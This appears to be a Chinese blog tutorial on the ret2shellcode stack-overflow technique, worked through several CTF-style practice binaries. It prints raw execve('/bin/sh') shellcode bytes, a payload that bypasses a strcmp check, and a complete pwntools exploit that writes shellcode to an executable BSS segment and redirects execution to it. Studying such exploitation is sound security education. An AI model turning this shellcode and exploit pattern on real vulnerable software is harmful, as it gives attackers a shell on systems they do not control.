前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ROP-Ret2shellcode详解

ROP-Ret2shellcode详解

作者头像
偏有宸机
发布2020-11-04 10:14:18
1.1K0
发布2020-11-04 10:14:18
举报
文章被收录于专栏:宸机笔记

利用原理

ret2shellcode,即控制程序执行 shellcode 代码。一般来说,shellcode 需要我们自己填充。 这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。 在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

利用关键

  • 程序存在溢出,并且还要能够控制返回地址
  • 程序运行时,shellcode 所在的区域要拥有执行权限
  • 操作系统还需要关闭 ASLR (地址空间布局随机化) 保护 。

利用思路

  1. 先使用cyclic测试出溢出点,构造初步的payload
  2. 确定程序中的溢出位,看是否可在bss段传入数据
  3. 使用GDB的vmmap查看bss段(一般为用户提交的变量在bss段中)
  4. 先发送为shellcode的数据写入到bss段
  5. 在将程序溢出到上一步用户提交变量的地址

system函数 在正常调用system函数的时候,堆栈位置的system_plt之后的内容为system函数的返回地址,在之后才是新的堆栈的栈顶位置,因此在system_plt和sh_addr之间增加了4个字符来进行填充。


例题

Ret2sec[BSS段写入数据]

  1. ida查看源代码发现没有关键函数,随即找到name变量声明在bss段
图片
图片
  1. 使用gdb动态调试查看bss段是否有足够权限
图片
图片
  1. 可以看到有足够权限,那么我们就可以直接将shellcode写入到这个bss段内 这里可以使用asm(shellcraft.sh())来生成shellcode,然后将shellcode传入到变量name所在的bss段,最后在第二个用户输入点,发送payload溢出数据到name变量所在的地址
  2. 最终EXP
图片
图片

Ret2sec_x64[64位版本]

  • 总体与32位步骤相同,只要注意以下几点即可

使用64位shellcode

将返回地址修改为64位的地址

EXP

Ret2shellcode_plus

IDA分析源代码

图片
图片
  • 得出程序流程: 输入shellcode,程序将shellcode写入到变量s所在得bss段
  • 用户再次输入,strcmp函数判断即用户必须输入yes\n才可以保证程序不会被直接执行exit函数 可以再发送payload时,使用\x00来截断输入

打开IDA查看变量s所在的bss段地址权限

图片
图片

可以看到0804a040所在的bss段得权限位rwx那么BSS段地址即为

构建shellcode

代码语言:javascript
复制
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

绕过strcmp函数

代码语言:javascript
复制
payload = "yes\n"+'\0'

EXP

代码语言:javascript
复制
from pwn import *
r = process('./Ret2shellcode_plus')
context.log_level = 'debug'
bss_addr = 0x0804A048
r.recvuntil("shellcode")
r.sendline(p32(bss_addr)*2+asm(shellcraft.sh()))
r.recvuntil("shellcode????")
payload = ""
payload+= 'yes\x0a\x00'
payload+= '\x00'*3
payload+= p32(bss_addr)*0x10
#payload+= '\x00'*4
r.sendline(payload)
r.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-01-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 利用原理
  • 利用关键
  • 利用思路
  • 例题
    • Ret2sec[BSS段写入数据]
      • Ret2sec_x64[64位版本]
        • Ret2shellcode_plus
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档